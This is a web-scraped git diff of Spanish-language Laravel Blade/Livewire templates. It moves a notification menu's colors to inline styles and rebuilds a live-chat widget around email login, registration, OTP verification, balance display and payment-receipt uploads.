<path d="M480,224H288V32c0-17.673-14.327-32-32-32s-32,14.327-32,32v192H32c-17.673,0-32,14.327-32,32s14.327,32,32,32h192v192c0,17.673,14.327,32,32,32s32-14.327,32-32V288h192c17.673,0,32-14.327,32-32S497.673,224,480,224z"/>
|
<path d="M480,224H288V32c0-17.673-14.327-32-32-32s-32,14.327-32,32v192H32c-17.673,0-32,14.327-32,32s14.327,32,32,32h192v192c0,17.673,14.327,32,32,32s32-14.327,32-32V288h192c17.673,0,32-14.327,32-32S497.673,224,480,224z"/>
|
||||||
</svg>
|
</svg>
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
<div class="flex justify-center items-center" x-data="{ menuNotificaciones: @entangle('menuNotificaciones') }">
|
<div class="flex justify-center items-center" x-data="{ menuNotificaciones: @entangle('menuNotificaciones') }">
|
||||||
<div class="fill-[{{ App\Models\Configuracione::Orderby('id', 'desc')->first()->color_boton }}] relative cursor-pointer" wire:click="$refresh" @click="menuNotificaciones=!menuNotificaciones">
|
<div class="relative cursor-pointer" style="fill: {{ App\Models\Configuracione::Orderby('id', 'desc')->first()->color_boton }};" wire:click="$refresh" @click="menuNotificaciones=!menuNotificaciones">
|
||||||
@if ($numNoti != 0)
|
@if ($numNoti != 0)
|
||||||
<span class="absolute top-0 left-0 bg-red-500 rounded-full w-5 h-5 flex justify-center items-center text-xs text-white">
|
<span class="absolute top-0 left-0 bg-red-500 rounded-full w-5 h-5 flex justify-center items-center text-xs text-white">
|
||||||
{{ $numNoti > 9 ? '9+' : $numNoti }}
|
{{ $numNoti > 9 ? '9+' : $numNoti }}
|
||||||
@@ -10,11 +10,11 @@
|
|||||||
</svg>
|
</svg>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div x-cloak x-show="menuNotificaciones" @click.outside="menuNotificaciones = false" class="absolute top-14 right-2 md:right-32 rounded-lg border overflow-y-auto border-[{{ App\Models\Configuracione::Orderby('id', 'desc')->first()->color_boton }}] bg-white w-72 md:w-96 h-96 z-50">
|
<div x-cloak x-show="menuNotificaciones" @click.outside="menuNotificaciones = false" class="absolute top-14 right-2 md:right-32 rounded-lg border overflow-y-auto bg-white w-72 md:w-96 h-96 z-50" style="border-color: {{ App\Models\Configuracione::Orderby('id', 'desc')->first()->color_boton }};">
|
||||||
<ul class="p-4">
|
<ul class="p-4">
|
||||||
@forelse ($consulta as $item)
|
@forelse ($consulta as $item)
|
||||||
<li class="px-2 py-1 mb-2 border border-gray-300 rounded-lg relative" wire:loading.class="opacity-50 cursor-wait">
|
<li class="px-2 py-1 mb-2 border border-gray-300 rounded-lg relative" wire:loading.class="opacity-50 cursor-wait">
|
||||||
<h4 class="font-bold text-base text-[{{ App\Models\Configuracione::Orderby('id', 'desc')->first()->color_boton }}]">
|
<h4 class="font-bold text-base" style="color: {{ App\Models\Configuracione::Orderby('id', 'desc')->first()->color_boton }};">
|
||||||
{{ $item->titulo }}
|
{{ $item->titulo }}
|
||||||
</h4>
|
</h4>
|
||||||
<p class="text-sm">
|
<p class="text-sm">
|
||||||
|
|||||||
Regular → Executable
+727
-68
@@ -1,13 +1,7 @@
|
|||||||
{{--
|
<div id="chat-root" class="flex flex-col bg-[#111b21] w-full overflow-hidden" style="height:100vh;height:100dvh;height:-webkit-fill-available;">
|
||||||
id="chat-root" es el ancla que usa el visualViewport JS para ajustar altura cuando
|
|
||||||
aparece el teclado iOS. Ocupa todo el viewport disponible (cuerpo del body).
|
|
||||||
--}}
|
|
||||||
<div id="chat-root"
|
|
||||||
class="w-full flex flex-col bg-[#111b21]"
|
|
||||||
style="height: 100vh; height: 100dvh; height: -webkit-fill-available; max-width: 480px; margin: 0 auto;">
|
|
||||||
|
|
||||||
{{-- ══ PASO 1: Formulario de inicio ══ --}}
|
{{-- ══ PASO 1: Ingreso de correo ══ --}}
|
||||||
@if ($paso === 'telefono')
|
@if ($paso === 'email')
|
||||||
<div class="flex flex-col items-center justify-center flex-1 px-5 safe-top safe-bottom safe-left safe-right">
|
<div class="flex flex-col items-center justify-center flex-1 px-5 safe-top safe-bottom safe-left safe-right">
|
||||||
<div class="w-full bg-[#202c33] rounded-2xl shadow-2xl p-7">
|
<div class="w-full bg-[#202c33] rounded-2xl shadow-2xl p-7">
|
||||||
|
|
||||||
@@ -18,59 +12,193 @@
|
|||||||
</svg>
|
</svg>
|
||||||
</div>
|
</div>
|
||||||
<h1 class="text-white text-2xl font-semibold">Chat en vivo</h1>
|
<h1 class="text-white text-2xl font-semibold">Chat en vivo</h1>
|
||||||
<p class="text-[#8696a0] text-sm mt-1 text-center">Ingresa tu número para comenzar</p>
|
<p class="text-[#8696a0] text-sm mt-1 text-center">Ingresa tu correo para comenzar</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<form wire:submit.prevent="iniciar" class="space-y-4">
|
<form wire:submit.prevent="iniciar" class="space-y-4">
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-[#8696a0] text-xs font-medium mb-1.5 uppercase tracking-wider">
|
<label class="block text-[#8696a0] text-xs font-medium mb-1.5 uppercase tracking-wider">Correo electrónico *</label>
|
||||||
Teléfono *
|
<input wire:model.defer="email" type="email" inputmode="email" autocomplete="email"
|
||||||
</label>
|
placeholder="tucorreo@ejemplo.com"
|
||||||
{{-- font-size 16px (via CSS global) evita el zoom automático en Safari --}}
|
|
||||||
<input wire:model.defer="telefono"
|
|
||||||
type="tel"
|
|
||||||
inputmode="tel"
|
|
||||||
autocomplete="tel"
|
|
||||||
placeholder="Ej: 3001234567"
|
|
||||||
class="w-full bg-[#2a3942] text-white rounded-xl px-4 py-3.5 outline-none border border-transparent focus:border-[#00a884] transition placeholder-[#8696a0]"
|
class="w-full bg-[#2a3942] text-white rounded-xl px-4 py-3.5 outline-none border border-transparent focus:border-[#00a884] transition placeholder-[#8696a0]"
|
||||||
style="color-scheme: dark;">
|
style="color-scheme: dark;">
|
||||||
@error('telefono')
|
@error('email') <span class="text-red-400 text-xs mt-1 block">{{ $message }}</span> @enderror
|
||||||
<span class="text-red-400 text-xs mt-1 block">{{ $message }}</span>
|
|
||||||
@enderror
|
|
||||||
</div>
|
</div>
|
||||||
<div>
|
|
||||||
<label class="block text-[#8696a0] text-xs font-medium mb-1.5 uppercase tracking-wider">
|
|
||||||
Nombre (opcional)
|
|
||||||
</label>
|
|
||||||
<input wire:model.defer="nombre"
|
|
||||||
type="text"
|
|
||||||
autocomplete="name"
|
|
||||||
placeholder="Tu nombre"
|
|
||||||
class="w-full bg-[#2a3942] text-white rounded-xl px-4 py-3.5 outline-none border border-transparent focus:border-[#00a884] transition placeholder-[#8696a0]"
|
|
||||||
style="color-scheme: dark;">
|
|
||||||
</div>
|
|
||||||
{{-- min-height 48px = cumple Apple HIG de target táctil --}}
|
|
||||||
<button type="submit"
|
<button type="submit"
|
||||||
class="w-full bg-[#00a884] active:bg-[#06cf9c] text-white font-semibold rounded-xl transition shadow-lg"
|
class="w-full bg-[#00a884] active:bg-[#06cf9c] text-white font-semibold rounded-xl transition shadow-lg"
|
||||||
style="min-height: 48px;">
|
style="min-height: 48px;">
|
||||||
<span wire:loading.remove wire:target="iniciar">Comenzar chat →</span>
|
<span wire:loading.remove wire:target="iniciar">Continuar →</span>
|
||||||
<span wire:loading wire:target="iniciar">Conectando...</span>
|
<span wire:loading wire:target="iniciar">Verificando...</span>
|
||||||
</button>
|
</button>
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{{-- ══ PASO 2: Interfaz de chat ══ --}}
|
{{-- ══ PASO 2: No existe — ofrecer registro ══ --}}
|
||||||
@else
|
@elseif ($paso === 'registro')
|
||||||
<div class="flex flex-col h-full bg-[#0b141a]"
|
<div class="flex flex-col items-center justify-center flex-1 px-5 safe-top safe-bottom safe-left safe-right">
|
||||||
x-data
|
<div class="w-full bg-[#202c33] rounded-2xl shadow-2xl p-7">
|
||||||
x-on:scroll-chat.window="$nextTick(() => {
|
|
||||||
const el = document.getElementById('pub-messages');
|
|
||||||
if (el) el.scrollTop = el.scrollHeight;
|
|
||||||
})">
|
|
||||||
|
|
||||||
{{-- Header + safe area top (para el notch / Dynamic Island) --}}
|
<div class="flex flex-col items-center mb-6">
|
||||||
|
<div class="w-16 h-16 bg-yellow-500 rounded-full flex items-center justify-center mb-4 shadow-lg">
|
||||||
|
<svg class="w-8 h-8 text-white" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M15.75 6a3.75 3.75 0 1 1-7.5 0 3.75 3.75 0 0 1 7.5 0ZM4.501 20.118a7.5 7.5 0 0 1 14.998 0A17.933 17.933 0 0 1 12 21.75c-2.676 0-5.216-.584-7.499-1.632Z" />
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
<h1 class="text-white text-lg font-semibold text-center">No encontramos tu cuenta</h1>
|
||||||
|
<p class="text-[#8696a0] text-sm mt-2 text-center leading-relaxed">
|
||||||
|
No existe una cuenta con el correo<br>
|
||||||
|
<span class="text-white font-medium">{{ $email }}</span>
|
||||||
|
</p>
|
||||||
|
<p class="text-[#8696a0] text-sm mt-3 text-center">¿Deseas crear una cuenta?</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<form wire:submit.prevent="crearCuenta" class="space-y-4">
|
||||||
|
<div>
|
||||||
|
<label class="block text-[#8696a0] text-xs font-medium mb-1.5 uppercase tracking-wider">Nombre completo *</label>
|
||||||
|
<input wire:model.defer="nombreRegistro" type="text" autocomplete="name"
|
||||||
|
placeholder="¿Cómo te llamas?"
|
||||||
|
class="w-full bg-[#2a3942] text-white rounded-xl px-4 py-3.5 outline-none border border-transparent focus:border-[#00a884] transition placeholder-[#8696a0]"
|
||||||
|
style="color-scheme: dark;">
|
||||||
|
@error('nombreRegistro') <span class="text-red-400 text-xs mt-1 block">{{ $message }}</span> @enderror
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-[#8696a0] text-xs font-medium mb-1.5 uppercase tracking-wider">Cédula</label>
|
||||||
|
<input wire:model.defer="cedulaRegistro" type="text" inputmode="numeric"
|
||||||
|
placeholder="Número de cédula"
|
||||||
|
class="w-full bg-[#2a3942] text-white rounded-xl px-4 py-3.5 outline-none border border-transparent focus:border-[#00a884] transition placeholder-[#8696a0]"
|
||||||
|
style="color-scheme: dark;">
|
||||||
|
@error('cedulaRegistro') <span class="text-red-400 text-xs mt-1 block">{{ $message }}</span> @enderror
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-[#8696a0] text-xs font-medium mb-1.5 uppercase tracking-wider">Celular</label>
|
||||||
|
<input wire:model.defer="celularRegistro" type="tel" inputmode="tel" autocomplete="tel"
|
||||||
|
placeholder="Ej: 3001234567"
|
||||||
|
class="w-full bg-[#2a3942] text-white rounded-xl px-4 py-3.5 outline-none border border-transparent focus:border-[#00a884] transition placeholder-[#8696a0]"
|
||||||
|
style="color-scheme: dark;">
|
||||||
|
@error('celularRegistro') <span class="text-red-400 text-xs mt-1 block">{{ $message }}</span> @enderror
|
||||||
|
</div>
|
||||||
|
<button type="submit"
|
||||||
|
class="w-full bg-[#00a884] active:bg-[#06cf9c] text-white font-semibold rounded-xl transition shadow-lg"
|
||||||
|
style="min-height: 48px;">
|
||||||
|
<span wire:loading.remove wire:target="crearCuenta">Sí, crear cuenta →</span>
|
||||||
|
<span wire:loading wire:target="crearCuenta">Creando cuenta...</span>
|
||||||
|
</button>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<button wire:click="rechazarRegistro" type="button"
|
||||||
|
class="w-full mt-3 text-[#8696a0] text-sm hover:text-white transition py-2">
|
||||||
|
No, volver
|
||||||
|
</button>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- ══ PASO 4: Verificación OTP ══ --}}
|
||||||
|
@elseif ($paso === 'verificacion')
|
||||||
|
<div class="flex flex-col items-center justify-center flex-1 px-5 safe-top safe-bottom safe-left safe-right">
|
||||||
|
<div class="w-full bg-[#202c33] rounded-2xl shadow-2xl p-7">
|
||||||
|
|
||||||
|
<div class="flex flex-col items-center mb-7">
|
||||||
|
<div class="w-20 h-20 bg-[#00a884] rounded-full flex items-center justify-center mb-4 shadow-lg">
|
||||||
|
<svg class="w-10 h-10 text-white" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round"
|
||||||
|
d="M21.75 6.75v10.5a2.25 2.25 0 0 1-2.25 2.25h-15a2.25 2.25 0 0 1-2.25-2.25V6.75m19.5 0A2.25 2.25 0 0 0 19.5 4.5h-15a2.25 2.25 0 0 0-2.25 2.25m19.5 0v.243a2.25 2.25 0 0 1-1.07 1.916l-7.5 4.615a2.25 2.25 0 0 1-2.36 0L3.32 8.91a2.25 2.25 0 0 1-1.07-1.916V6.75" />
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
<h1 class="text-white text-xl font-semibold">Verifica tu identidad</h1>
|
||||||
|
<p class="text-[#8696a0] text-sm mt-2 text-center leading-relaxed">
|
||||||
|
Enviamos un código de 6 dígitos a<br>
|
||||||
|
<span class="text-[#00a884] font-semibold">{{ $emailMascarado }}</span>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
@if (session('otp_reenviado'))
|
||||||
|
<p class="text-[#00a884] text-sm text-center mb-3">{{ session('otp_reenviado') }}</p>
|
||||||
|
@endif
|
||||||
|
|
||||||
|
@if ($errorEnvioOtp)
|
||||||
|
<div class="bg-red-900/40 border border-red-500/50 rounded-xl px-4 py-3 mb-3 text-red-300 text-sm text-center">
|
||||||
|
{{ $errorEnvioOtp }}
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
|
||||||
|
<form wire:submit.prevent="verificarCodigo" class="space-y-4">
|
||||||
|
<div>
|
||||||
|
<label class="block text-[#8696a0] text-xs font-medium mb-1.5 uppercase tracking-wider">Código de verificación</label>
|
||||||
|
<input wire:model.defer="codigoIngresado" type="text" inputmode="numeric"
|
||||||
|
pattern="[0-9]*" maxlength="6" autocomplete="off"
|
||||||
|
placeholder="000000"
|
||||||
|
class="w-full bg-[#2a3942] text-white rounded-xl px-4 py-3.5 outline-none border border-transparent focus:border-[#00a884] transition placeholder-[#8696a0] text-center text-2xl font-bold tracking-[0.5em]"
|
||||||
|
style="color-scheme: dark;">
|
||||||
|
@error('codigoIngresado') <span class="text-red-400 text-xs mt-1 block">{{ $message }}</span> @enderror
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<button type="submit"
|
||||||
|
class="w-full bg-[#00a884] active:bg-[#06cf9c] text-white font-semibold rounded-xl transition shadow-lg"
|
||||||
|
style="min-height: 48px;">
|
||||||
|
<span wire:loading.remove wire:target="verificarCodigo">Verificar →</span>
|
||||||
|
<span wire:loading wire:target="verificarCodigo">Verificando...</span>
|
||||||
|
</button>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<div class="mt-5 flex flex-col items-center gap-2">
|
||||||
|
<button wire:click="reenviarCodigo" type="button"
|
||||||
|
class="text-[#00a884] text-sm hover:underline">
|
||||||
|
<span wire:loading.remove wire:target="reenviarCodigo">¿No llegó? Reenviar código</span>
|
||||||
|
<span wire:loading wire:target="reenviarCodigo">Enviando...</span>
|
||||||
|
</button>
|
||||||
|
<button wire:click="$set('paso', 'email')" type="button"
|
||||||
|
class="text-[#8696a0] text-xs hover:text-white">
|
||||||
|
Volver
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- ══ PASO 3: Interfaz de chat ══ --}}
|
||||||
|
@else
|
||||||
|
<div class="flex-1 flex flex-col min-h-0 chat-bg relative"
|
||||||
|
x-data="{
|
||||||
|
uploading: false,
|
||||||
|
previewUrl: null,
|
||||||
|
pendiente: null,
|
||||||
|
lightbox: null,
|
||||||
|
enviarTexto() {
|
||||||
|
const ta = this.$refs.entrada;
|
||||||
|
const t = (ta?.value ?? '').trim();
|
||||||
|
if (! t) return;
|
||||||
|
this.pendiente = t; // burbuja optimista: se ve al instante
|
||||||
|
ta.value = '';
|
||||||
|
this.autoGrow();
|
||||||
|
this.$nextTick(() => window.dispatchEvent(new CustomEvent('scroll-chat')));
|
||||||
|
try {
|
||||||
|
Promise.resolve(this.$wire.enviar(t)).finally(() => this.pendiente = null);
|
||||||
|
} catch (e) {
|
||||||
|
// Si el envío no sale, devolvemos el texto al cuadro para no perderlo
|
||||||
|
this.pendiente = null;
|
||||||
|
ta.value = t;
|
||||||
|
this.autoGrow();
|
||||||
|
}
|
||||||
|
},
|
||||||
|
autoGrow() {
|
||||||
|
const ta = this.$refs.entrada;
|
||||||
|
if (! ta) return;
|
||||||
|
ta.style.height = 'auto';
|
||||||
|
ta.style.height = Math.min(ta.scrollHeight, 112) + 'px';
|
||||||
|
}
|
||||||
|
}"
|
||||||
|
x-on:livewire-upload-start.window="uploading = true"
|
||||||
|
x-on:livewire-upload-finish.window="uploading = false"
|
||||||
|
x-on:livewire-upload-error.window="uploading = false; previewUrl = null"
|
||||||
|
{{-- Quien manda es el servidor: emite 'comprobante-listo' en todas
|
||||||
|
sus rutas de salida. Los eventos de upload de Livewire solo
|
||||||
|
cubren la subida del archivo, no el procesado posterior. --}}
|
||||||
|
x-on:comprobante-listo.window="uploading = false; previewUrl = null">
|
||||||
|
|
||||||
|
{{-- Header --}}
|
||||||
<div class="bg-[#202c33] shadow-md flex-shrink-0 safe-top safe-left safe-right">
|
<div class="bg-[#202c33] shadow-md flex-shrink-0 safe-top safe-left safe-right">
|
||||||
<div class="flex items-center gap-3 px-4 py-3">
|
<div class="flex items-center gap-3 px-4 py-3">
|
||||||
<div class="w-10 h-10 bg-[#00a884] rounded-full flex items-center justify-center flex-shrink-0">
|
<div class="w-10 h-10 bg-[#00a884] rounded-full flex items-center justify-center flex-shrink-0">
|
||||||
@@ -79,64 +207,576 @@
|
|||||||
</svg>
|
</svg>
|
||||||
</div>
|
</div>
|
||||||
<div class="flex-1 min-w-0">
|
<div class="flex-1 min-w-0">
|
||||||
<p class="text-white font-semibold text-sm truncate">Soporte en línea</p>
|
<p class="text-white font-semibold text-sm truncate">
|
||||||
|
{{ $nombreUsuario ?: 'Soporte en línea' }}
|
||||||
|
</p>
|
||||||
<p class="text-[#8696a0] text-xs">
|
<p class="text-[#8696a0] text-xs">
|
||||||
@if ($estadoConv === 'agente') Atendido por un agente
|
@if ($estadoConv === 'agente') Atendido por un agente
|
||||||
@elseif ($estadoConv === 'cerrada') Conversación cerrada
|
@elseif ($estadoConv === 'cerrada') Conversación cerrada
|
||||||
@else Bot activo
|
@else Bot activo @endif
|
||||||
@endif
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
{{-- Saldo si hay usuario identificado --}}
|
||||||
|
@if ($saldoUsuario !== null)
|
||||||
|
<div class="text-right flex-shrink-0">
|
||||||
|
<p class="text-[#00a884] text-xs font-semibold">Saldo</p>
|
||||||
|
<p class="text-white text-sm font-bold">${{ number_format($saldoUsuario) }}</p>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
{{-- Menú de opciones --}}
|
||||||
|
<div class="flex-shrink-0 ml-1 relative" x-data="{ open: false }" @click.outside="open = false">
|
||||||
|
<button @click="open = !open"
|
||||||
|
class="p-2 rounded-full hover:bg-white/10 transition text-[#8696a0]">
|
||||||
|
<svg class="w-5 h-5" fill="currentColor" viewBox="0 0 24 24">
|
||||||
|
<circle cx="12" cy="5" r="1.5"/>
|
||||||
|
<circle cx="12" cy="12" r="1.5"/>
|
||||||
|
<circle cx="12" cy="19" r="1.5"/>
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
|
<div x-show="open" x-transition
|
||||||
|
class="absolute right-0 top-10 w-44 bg-[#233138] rounded-lg shadow-xl z-50 overflow-hidden">
|
||||||
|
<button wire:click="limpiarChat" @click="open = false"
|
||||||
|
class="w-full flex items-center gap-3 px-4 py-3 text-sm text-white hover:bg-white/10 transition text-left">
|
||||||
|
<svg class="w-4 h-4 text-[#8696a0]" fill="none" viewBox="0 0 24 24" stroke-width="1.8" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="m14.74 9-.346 9m-4.788 0L9.26 9m9.968-3.21c.342.052.682.107 1.022.166m-1.022-.165L18.16 19.673a2.25 2.25 0 0 1-2.244 2.077H8.084a2.25 2.25 0 0 1-2.244-2.077L4.772 5.79m14.456 0a48.108 48.108 0 0 0-3.478-.397m-12 .562c.34-.059.68-.114 1.022-.165m0 0a48.11 48.11 0 0 1 3.478-.397m7.5 0v-.916c0-1.18-.91-2.164-2.09-2.201a51.964 51.964 0 0 0-3.32 0c-1.18.037-2.09 1.022-2.09 2.201v.916m7.5 0a48.667 48.667 0 0 0-7.5 0" />
|
||||||
|
</svg>
|
||||||
|
Limpiar chat
|
||||||
|
</button>
|
||||||
|
<div class="border-t border-white/10"></div>
|
||||||
|
<button wire:click="cerrarSesion" @click="open = false"
|
||||||
|
class="w-full flex items-center gap-3 px-4 py-3 text-sm text-red-400 hover:bg-white/10 transition text-left">
|
||||||
|
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="1.8" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M15.75 9V5.25A2.25 2.25 0 0 0 13.5 3h-6a2.25 2.25 0 0 0-2.25 2.25v13.5A2.25 2.25 0 0 0 7.5 21h6a2.25 2.25 0 0 0 2.25-2.25V15M12 9l-3 3m0 0 3 3m-3-3h12.75" />
|
||||||
|
</svg>
|
||||||
|
Cerrar sesión
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{{-- Mensajes — ios-scroll da momentum nativo en iPhone --}}
|
{{-- Badge: nuevos mensajes mientras se lee el historial --}}
|
||||||
<div class="flex-1 overflow-y-auto px-4 py-4 space-y-2 ios-scroll"
|
<div id="new-msg-badge" class="hidden absolute left-0 right-0 flex justify-center z-20 pointer-events-none"
|
||||||
|
style="bottom:80px;">
|
||||||
|
<button id="new-msg-badge-btn"
|
||||||
|
class="pointer-events-auto flex items-center gap-2 bg-[#00a884] text-white text-xs font-semibold px-4 py-2 rounded-full shadow-xl active:bg-[#06cf9c] transition">
|
||||||
|
<svg class="w-3.5 h-3.5 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M19.5 13.5 12 21m0 0-7.5-7.5M12 21V3" />
|
||||||
|
</svg>
|
||||||
|
<span id="new-msg-count">1</span> mensaje nuevo
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- Mientras ValidarPagoWebJob trabaja, este poll solo pregunta si ya
|
||||||
|
hay desenlace (lectura de caché, sin llamadas externas).
|
||||||
|
Va en su propio elemento porque Livewire v2 solo respeta el
|
||||||
|
PRIMER wire:poll de un mismo nodo: compartirlo con el poll de
|
||||||
|
mensajes hacía que uno de los dos nunca se ejecutara. --}}
|
||||||
|
@if ($flujo === 'pago.procesando')
|
||||||
|
<div wire:poll.2000ms="revisarPago" class="w-0 h-0 overflow-hidden" aria-hidden="true"></div>
|
||||||
|
@endif
|
||||||
|
|
||||||
|
{{-- Mensajes --}}
|
||||||
|
<div class="flex-1 min-h-0 overflow-y-auto px-3 py-4 space-y-2 ios-scroll"
|
||||||
id="pub-messages"
|
id="pub-messages"
|
||||||
wire:poll.3000ms="cargarMensajes"
|
wire:poll.3000ms="pollMensajes"
|
||||||
style="overscroll-behavior-y: contain;">
|
style="overscroll-behavior-y:contain;-webkit-overflow-scrolling:touch;">
|
||||||
|
|
||||||
@forelse($mensajes as $msg)
|
@forelse($mensajes as $msg)
|
||||||
|
|
||||||
|
{{-- ── Mensaje del USUARIO ── --}}
|
||||||
@if ($msg['tipo'] === 'usuario')
|
@if ($msg['tipo'] === 'usuario')
|
||||||
<div class="flex justify-end">
|
<div class="flex justify-end msg-in" wire:key="msg-{{ $msg['id'] }}">
|
||||||
<div class="max-w-[80%] bg-[#005c4b] text-white rounded-xl rounded-tr-sm px-4 py-2 shadow">
|
@if (($msg['tipo_ui'] ?? 'text') === 'imagen')
|
||||||
<p class="whitespace-pre-line break-words leading-relaxed" style="font-size:15px;">{{ $msg['contenido'] }}</p>
|
<div class="max-w-[75%] bg-[#005c4b] rounded-xl rounded-tr-sm overflow-hidden shadow bubble-out">
|
||||||
<span class="text-[#8696a0] text-[11px] float-right mt-1 ml-2">{{ $msg['created_at'] }}</span>
|
<img src="{{ $msg['payload']['url'] ?? '' }}"
|
||||||
|
loading="lazy" decoding="async" alt="Comprobante enviado"
|
||||||
|
class="w-full object-cover cursor-zoom-in bg-[#0b141a]"
|
||||||
|
style="max-height:260px; min-height:120px;"
|
||||||
|
x-on:click="lightbox = '{{ $msg['payload']['url'] ?? '' }}'"
|
||||||
|
x-on:error="$el.classList.add('img-rota')">
|
||||||
|
<div class="px-3 py-1 flex items-center justify-end gap-1">
|
||||||
|
<span class="text-white/60 text-[11px]">{{ $msg['created_at'] }}</span>
|
||||||
|
<svg class="w-4 h-4 text-[#53bdeb]" viewBox="0 0 16 15" fill="currentColor"><path d="M15.01 3.316l-.478-.372a.365.365 0 0 0-.51.063L8.666 9.879a.32.32 0 0 1-.484.033l-.358-.325a.319.319 0 0 0-.484.032l-.378.483a.418.418 0 0 0 .036.541l1.32 1.266c.143.14.361.125.484-.033l6.272-8.048a.366.366 0 0 0-.064-.512zm-4.1 0l-.478-.372a.365.365 0 0 0-.51.063L4.566 9.879a.32.32 0 0 1-.484.033L1.891 7.769a.366.366 0 0 0-.515.006l-.423.433a.364.364 0 0 0 .006.514l3.258 3.185c.143.14.361.125.484-.033l6.272-8.048a.365.365 0 0 0-.063-.51z"/></svg>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@else
|
@else
|
||||||
<div class="flex justify-start">
|
<div class="max-w-[80%] bg-[#005c4b] text-white rounded-xl rounded-tr-sm px-3 py-2 shadow bubble-out">
|
||||||
<div class="max-w-[80%] bg-[#202c33] text-white rounded-xl rounded-tl-sm px-4 py-2 shadow">
|
<p class="whitespace-pre-line break-words leading-relaxed" style="font-size:15px;">{{ $msg['contenido'] }}</p>
|
||||||
|
<span class="inline-flex items-center gap-1 float-right mt-1 ml-2 translate-y-1">
|
||||||
|
<span class="text-white/60 text-[11px]">{{ $msg['created_at'] }}</span>
|
||||||
|
<svg class="w-4 h-4 text-[#53bdeb]" viewBox="0 0 16 15" fill="currentColor"><path d="M15.01 3.316l-.478-.372a.365.365 0 0 0-.51.063L8.666 9.879a.32.32 0 0 1-.484.033l-.358-.325a.319.319 0 0 0-.484.032l-.378.483a.418.418 0 0 0 .036.541l1.32 1.266c.143.14.361.125.484-.033l6.272-8.048a.366.366 0 0 0-.064-.512zm-4.1 0l-.478-.372a.365.365 0 0 0-.51.063L4.566 9.879a.32.32 0 0 1-.484.033L1.891 7.769a.366.366 0 0 0-.515.006l-.423.433a.364.364 0 0 0 .006.514l3.258 3.185c.143.14.361.125.484-.033l6.272-8.048a.365.365 0 0 0-.063-.51z"/></svg>
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- ── Mensajes del BOT / AGENTE ── --}}
|
||||||
|
@else
|
||||||
|
<div class="flex justify-start msg-in" wire:key="msg-{{ $msg['id'] }}">
|
||||||
|
@php $tipoUi = $msg['tipo_ui'] ?? 'text'; $payload = $msg['payload'] ?? []; @endphp
|
||||||
|
|
||||||
|
{{-- TEXTO normal --}}
|
||||||
|
@if ($tipoUi === 'text')
|
||||||
|
<div class="max-w-[80%] bg-[#202c33] text-white rounded-xl rounded-tl-sm px-3 py-2 shadow bubble-in">
|
||||||
@if ($msg['tipo'] === 'agente')
|
@if ($msg['tipo'] === 'agente')
|
||||||
<span class="text-amber-400 text-[11px] font-semibold block mb-0.5">Agente</span>
|
<span class="text-amber-400 text-[11px] font-semibold block mb-0.5">Agente</span>
|
||||||
@endif
|
@endif
|
||||||
<p class="whitespace-pre-line break-words leading-relaxed" style="font-size:15px;">{{ $msg['contenido'] }}</p>
|
<p class="whitespace-pre-line break-words leading-relaxed" style="font-size:15px;">{{ $msg['contenido'] }}</p>
|
||||||
<span class="text-[#8696a0] text-[11px] float-right mt-1 ml-2">{{ $msg['created_at'] }}</span>
|
<span class="text-[#8696a0] text-[11px] float-right mt-1 ml-2">{{ $msg['created_at'] }}</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{{-- BUTTONS: texto + fila de botones --}}
|
||||||
|
@elseif ($tipoUi === 'buttons')
|
||||||
|
<div class="max-w-[88%] space-y-2">
|
||||||
|
@if ($msg['contenido'])
|
||||||
|
<div class="bg-[#202c33] text-white rounded-xl rounded-tl-sm px-4 py-2 shadow">
|
||||||
|
<p class="whitespace-pre-line break-words leading-relaxed" style="font-size:15px;">{{ $msg['contenido'] }}</p>
|
||||||
|
<span class="text-[#8696a0] text-[11px] float-right mt-1 ml-2">{{ $msg['created_at'] }}</span>
|
||||||
</div>
|
</div>
|
||||||
@endif
|
@endif
|
||||||
|
<div class="flex flex-wrap gap-2">
|
||||||
|
@foreach ($payload['botones'] ?? [] as $btn)
|
||||||
|
@if ($btn['disabled'] ?? false)
|
||||||
|
<button disabled
|
||||||
|
